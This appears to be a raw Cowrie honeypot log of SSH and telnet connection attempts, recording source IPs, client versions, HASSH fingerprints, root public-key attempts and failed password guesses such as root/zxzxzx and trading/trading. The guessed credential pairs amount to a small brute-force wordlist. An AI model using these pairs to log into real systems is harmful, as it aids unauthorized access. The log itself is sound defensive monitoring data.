{"eventid":"cowrie.session.connect","src_ip":"65.60.61.231","src_port":60094,"dst_ip":"10.17.0.5","dst_port":22,"session":"81997e5c00b8","protocol":"ssh","message":"New connection: 65.60.61.231:60094 (10.17.0.5:22) [session: 81997e5c00b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.767548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.772334Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.800407Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52988,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3eb7720e33f","protocol":"ssh","message":"New connection: 193.32.162.145:52988 (10.17.0.5:22) [session: c3eb7720e33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.814793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.822657Z","src_ip":"193.32.162.145","session":"c3eb7720e33f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:12:1b:d6:f3:44:02:63:9d:f3:35:09:03:13:4a:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Qp7ZgFuOhnOqKE58ftDYCqsU7B9HjztBJACwm5SzF5TW84jqjdRFIL1eAF5G/GOVR7C3EyhJdYTDESngr8ttUZcBLmQwMS1NakaOa81AOmwLPmODRczhTSBI/8P3qbo2AK1ZqNFF3T1z6YZZcpxPhVMIAWjiKu7ZWJejYeIg9pVasaEitvFWwBib2XVBx56zj84GvJCC+4l1cbk+GXzZMKMASfggn9swcBu8uoqBcDAGgF9cNDB6jee/CXMiD+srVXzK1/mDtf348jZrSPkX4wvXRx8ygHvzNTrSThFFDtwl4SOHdHo4+I8VryMN1K75PWnBD0+XoNrEaKemHOh5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:12:1b:d6:f3:44:02:63:9d:f3:35:09:03:13:4a:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.920095Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:12:1b:d6:f3:44:02:63:9d:f3:35:09:03:13:4a:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Qp7ZgFuOhnOqKE58ftDYCqsU7B9HjztBJACwm5SzF5TW84jqjdRFIL1eAF5G/GOVR7C3EyhJdYTDESngr8ttUZcBLmQwMS1NakaOa81AOmwLPmODRczhTSBI/8P3qbo2AK1ZqNFF3T1z6YZZcpxPhVMIAWjiKu7ZWJejYeIg9pVasaEitvFWwBib2XVBx56zj84GvJCC+4l1cbk+GXzZMKMASfggn9swcBu8uoqBcDAGgF9cNDB6jee/CXMiD+srVXzK1/mDtf348jZrSPkX4wvXRx8ygHvzNTrSThFFDtwl4SOHdHo4+I8VryMN1K75PWnBD0+XoNrEaKemHOh5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.924203Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.929910Z","src_ip":"193.32.162.145","session":"c3eb7720e33f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:c7:b6:3b:1c:47:4e:5d:fa:c2:b5:aa:0e:41:00:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAgEAowv1HvIVzEpXiSVzLgW6spa1QiBgSk1bBVcfM06RwSUC69civasj2H2avbv0o4G9W8aUfX/+4x+4gZt4HAKzBdg3Jju2XIUCdgm0SZhRnixGljWgsnbe0sKhI2pgnilp6fX/9lJnuNvUCNBbfwc4GzQgVf8Drvujj+pacyiIIGoV4JunZENOD1fVscjkKb6KLiNUntkNPXxOMWzu8kxfhdtOjrBaM/4slluJWvSkk0bv8x9kHjiWAD7qDCmcWusFabiyn0FZtSRuYvC4kqNjx0jXWPSX1jk+ss637lKF1iabE6gg/VdTOGM1NNYWojHyYK1iyjYQaOfT96YIwgwzDKAT/Qg1Zo4pQwa5tJlOYmwG1sE9y/e+Qq+ji72fHIjOGJLdFVVkMha5BLaFM2l95sSCpAd8UKtB8F0LcwGr2LwsBWSGKMiOmPY3Om6viFxW+hg3LwtkE/sDyVAN+Cgpaf7Ng7g2rChyLlhi2NmMRhet3MueC7BQtr6hvq+wCJt+EScfU3+KNAPNS+rE6u4Z+/KM9zdXZVO2JqA/fHue7tYvU1U6ACSnDyPJi5aWHdy7XNayOrIyJ3uUq7bf8eTjBP+cwhWSYhnMKSeZgrGIFaNnW7MMJtf+gNXbSyulA52AaVA8itKA1eu/DtXgV2+BEk6pYFOEzZnd9xyX+EkX168=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:c7:b6:3b:1c:47:4e:5d:fa:c2:b5:aa:0e:41:00:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.952485Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:c7:b6:3b:1c:47:4e:5d:fa:c2:b5:aa:0e:41:00:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAgEAowv1HvIVzEpXiSVzLgW6spa1QiBgSk1bBVcfM06RwSUC69civasj2H2avbv0o4G9W8aUfX/+4x+4gZt4HAKzBdg3Jju2XIUCdgm0SZhRnixGljWgsnbe0sKhI2pgnilp6fX/9lJnuNvUCNBbfwc4GzQgVf8Drvujj+pacyiIIGoV4JunZENOD1fVscjkKb6KLiNUntkNPXxOMWzu8kxfhdtOjrBaM/4slluJWvSkk0bv8x9kHjiWAD7qDCmcWusFabiyn0FZtSRuYvC4kqNjx0jXWPSX1jk+ss637lKF1iabE6gg/VdTOGM1NNYWojHyYK1iyjYQaOfT96YIwgwzDKAT/Qg1Zo4pQwa5tJlOYmwG1sE9y/e+Qq+ji72fHIjOGJLdFVVkMha5BLaFM2l95sSCpAd8UKtB8F0LcwGr2LwsBWSGKMiOmPY3Om6viFxW+hg3LwtkE/sDyVAN+Cgpaf7Ng7g2rChyLlhi2NmMRhet3MueC7BQtr6hvq+wCJt+EScfU3+KNAPNS+rE6u4Z+/KM9zdXZVO2JqA/fHue7tYvU1U6ACSnDyPJi5aWHdy7XNayOrIyJ3uUq7bf8eTjBP+cwhWSYhnMKSeZgrGIFaNnW7MMJtf+gNXbSyulA52AaVA8itKA1eu/DtXgV2+BEk6pYFOEzZnd9xyX+EkX168=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.956337Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:75:79:52:07:95:83:d4:8a:66:7c:69:ed:39:28:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2d0ekGHXGG8RiN2+9VYHFl/cd5lIHgWMPrg3iMrk6ja9LjIH6sPdqw07qNmskL1ZFtmGENa/YBKCDfQcNaBhZ4vJ48GL+kTqkAL12ad6s/vstM5fB6CFIgs3T3RHAUko50Wr5hLOL5wZb3uMbfLjj7WaP9CdfogaqYTynaDOEufR9YG8exQodwTv2i+KiFcxpqTbFgKQeFHpPphJDove7FmHFD2M2R64VjtrkXKRRyg2LNmVdv+uEv02SaHC2K+VBH51vKUz2xuKwkofxrW4DdyZzJU4aNCp86h/UhO5UwY/R6oO2kCvsRWTMBWF+oouTDrE/uJvSwGy6jXrqtlTGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:75:79:52:07:95:83:d4:8a:66:7c:69:ed:39:28:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.984996Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:75:79:52:07:95:83:d4:8a:66:7c:69:ed:39:28:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2d0ekGHXGG8RiN2+9VYHFl/cd5lIHgWMPrg3iMrk6ja9LjIH6sPdqw07qNmskL1ZFtmGENa/YBKCDfQcNaBhZ4vJ48GL+kTqkAL12ad6s/vstM5fB6CFIgs3T3RHAUko50Wr5hLOL5wZb3uMbfLjj7WaP9CdfogaqYTynaDOEufR9YG8exQodwTv2i+KiFcxpqTbFgKQeFHpPphJDove7FmHFD2M2R64VjtrkXKRRyg2LNmVdv+uEv02SaHC2K+VBH51vKUz2xuKwkofxrW4DdyZzJU4aNCp86h/UhO5UwY/R6oO2kCvsRWTMBWF+oouTDrE/uJvSwGy6jXrqtlTGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:25.990897Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:e1:8e:b7:28:00:5e:e9:f0:0f:0b:e2:46:3f:03:c8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF/3PP59/I4zlJ4jlgrdVXxxsm4DUiCcZQqwI+J2yqGX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ec:e1:8e:b7:28:00:5e:e9:f0:0f:0b:e2:46:3f:03:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:26.020818Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:e1:8e:b7:28:00:5e:e9:f0:0f:0b:e2:46:3f:03:c8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF/3PP59/I4zlJ4jlgrdVXxxsm4DUiCcZQqwI+J2yqGX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:26.024835Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:a2:14:b6:81:b4:f7:4a:6d:f1:1c:5a:e3:43:94:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF31D0POfdPt8YtaKEjRQNpnfnLqx6Rx57KRWwaDO7NdYZP4N8p9mFmXc+YpYs5+qrchTw7BpTcVoIrWk8tiqK/D5m1hHT8+HQIQq+HvnH2oAS5o+K2cRS9wcScsIinjLoTtDmi8FxOHWR9ODuXLdGg4qVUipfA2iwVeJ7I1wjGL+jahJf6ccIox57MUt+ks7aCoqrCUZwEifer9jzd1lcU0An99zApItPysvRlQA3AYxWOwbrjSgVjJH2gRs1yF18CWs7LOH27tRn5DHJ5rExL9pZCfQwhzHGKiJ/PtxLRBBjm9pZ+9ijt0VuRonIV5TcxILHwX35UzbLK5Mf79N1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:a2:14:b6:81:b4:f7:4a:6d:f1:1c:5a:e3:43:94:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:26.053716Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:a2:14:b6:81:b4:f7:4a:6d:f1:1c:5a:e3:43:94:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF31D0POfdPt8YtaKEjRQNpnfnLqx6Rx57KRWwaDO7NdYZP4N8p9mFmXc+YpYs5+qrchTw7BpTcVoIrWk8tiqK/D5m1hHT8+HQIQq+HvnH2oAS5o+K2cRS9wcScsIinjLoTtDmi8FxOHWR9ODuXLdGg4qVUipfA2iwVeJ7I1wjGL+jahJf6ccIox57MUt+ks7aCoqrCUZwEifer9jzd1lcU0An99zApItPysvRlQA3AYxWOwbrjSgVjJH2gRs1yF18CWs7LOH27tRn5DHJ5rExL9pZCfQwhzHGKiJ/PtxLRBBjm9pZ+9ijt0VuRonIV5TcxILHwX35UzbLK5Mf79N1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:26.058112Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:26.088896Z","src_ip":"65.60.61.231","session":"81997e5c00b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:26.235394Z","src_ip":"193.32.162.145","session":"c3eb7720e33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:27.337547Z","src_ip":"193.32.162.145","session":"c3eb7720e33f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37710,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c89407390cd","protocol":"ssh","message":"New connection: 103.153.68.219:37710 (159.203.135.109:22) [session: 5c89407390cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:31.633965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:31.638572Z","src_ip":"103.153.68.219","session":"5c89407390cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:31.881793Z","src_ip":"103.153.68.219","session":"5c89407390cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxzxzx","message":"login attempt [root/zxzxzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:32.610755Z","src_ip":"103.153.68.219","session":"5c89407390cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163912773132,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:33.852504Z","src_ip":"187.111.26.90","session":"60da50070911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:33.857098Z","src_ip":"103.153.68.219","session":"5c89407390cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":54204,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6deaa990a5a","protocol":"ssh","message":"New connection: 62.193.106.227:54204 (10.17.0.5:22) [session: b6deaa990a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:38.577884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:38.582368Z","src_ip":"62.193.106.227","session":"b6deaa990a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:38.726242Z","src_ip":"62.193.106.227","session":"b6deaa990a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhy123456","message":"login attempt [root/rhy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:39.336431Z","src_ip":"62.193.106.227","session":"b6deaa990a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:40.484948Z","src_ip":"62.193.106.227","session":"b6deaa990a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.778072118759155,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:55.990085Z","src_ip":"152.42.224.71","session":"5bc8218a29c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":38230,"dst_ip":"10.17.0.5","dst_port":22,"session":"a36d5ddc08ed","protocol":"ssh","message":"New connection: 43.153.54.120:38230 (10.17.0.5:22) [session: a36d5ddc08ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:56.591772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:56.596009Z","src_ip":"43.153.54.120","session":"a36d5ddc08ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:56.663944Z","src_ip":"43.153.54.120","session":"a36d5ddc08ed","protocol":"ssh"}
